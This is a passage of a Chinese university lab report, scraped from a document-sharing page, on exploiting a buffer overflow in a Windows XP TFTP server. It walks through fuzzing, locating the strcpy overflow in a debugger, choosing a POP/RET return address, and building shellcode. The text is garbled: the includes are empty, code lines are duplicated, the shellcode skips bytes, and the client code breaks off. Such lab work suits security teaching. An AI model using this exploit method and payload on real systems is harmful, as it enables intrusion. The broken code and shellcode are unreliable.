缓冲区溢出实验报告

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

华中科技大学计算机学院《信息系统应用安全》实验报告

实验名称缓冲区溢出实验

团队成员:

注:团队成员贡献百分比之和为1

教师评语:

一.实验环境

操作系统:Windows XP SP3

编译平台:Visual C++

调试环境:OllyDbg

二.实验目的

1.掌握缓冲区溢出的原理;

2.掌握缓冲区溢出漏洞的利用技巧;

3.理解缓冲区溢出漏洞的防范措施。

三.实验内容及步骤

1.缓冲区溢出漏洞产生的的基本原理和攻击方法

缓冲区溢出模拟程序

#include ""

#include ""

#include<>

";

char VulFunc[] = "NetpwPathCanonicalize";

LibHandle = LoadLibrary(dll);

";

char VulFunc[] = "NetpwPathCanonicalize";

LibHandle = LoadLibrary(dll);

Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

memset(arg_1,0,sizeof(arg_1));

memset(arg_1,0x90,sizeof(arg_1)-2);

memset(arg_4,0,sizeof(arg_4));

memset(arg_4,'a',sizeof(arg_4)-2);

memcpy(arg_4,shellcode,168);

arg_1[0x318]=0xF9;

造FUZZ

tftp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

FUZZ中包含288个A,这个值是通过多次测试获得的,运行效果如下,

可以看到发生了溢出:

2.确定溢出点

采用284个’A’+’1234’的fuzz,运行效果如下:

可以看到程序转到了,溢出点定位成功。

3.程序中溢出点定位

使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Search for选项,找到Name in current module,在其中找到recvfrom,

如下所示:

从这里找到recvfrom函数的位置,在此设置断点:

然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:

运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:

运行到下面的代码处,程序跳转到处,至此溢出点定位完毕。

溢出漏洞利用分析

首先肯定是想到利用JMP ESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。

从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP 指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:

POP X

RET

代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:

这样就可以构造如下的shellcode:

"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" // 12

"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" // 24

"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" // 36

"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" // 48

"\x8d\x45\xf4\x50\xb8" // 53

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 218

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 228

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 238

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 248

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 258

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 268

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 278

"\x90\x90\x90\x90\x90\x90" // 284

"\xB0\x01\xFC\x7F" // EIP地址 // 288该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。

漏洞利用

直接在fuzz中加入EIP跳转地址7FFC01B0,构造fuzz如下284个’A’+ 0xB0 + 0x01 + 0xFC + 0x7F,发送到服务器端,发现实际地址不对:

发现这是因为tftp发送的时候只能发送有效的字符,而无效的字符无法发送过去,这样我们必须自己实现tftp客户端,程序代码如下:

#include <>

#include <>

#include <>

// 弹出命令框的Shell长度

相关文档
最新文档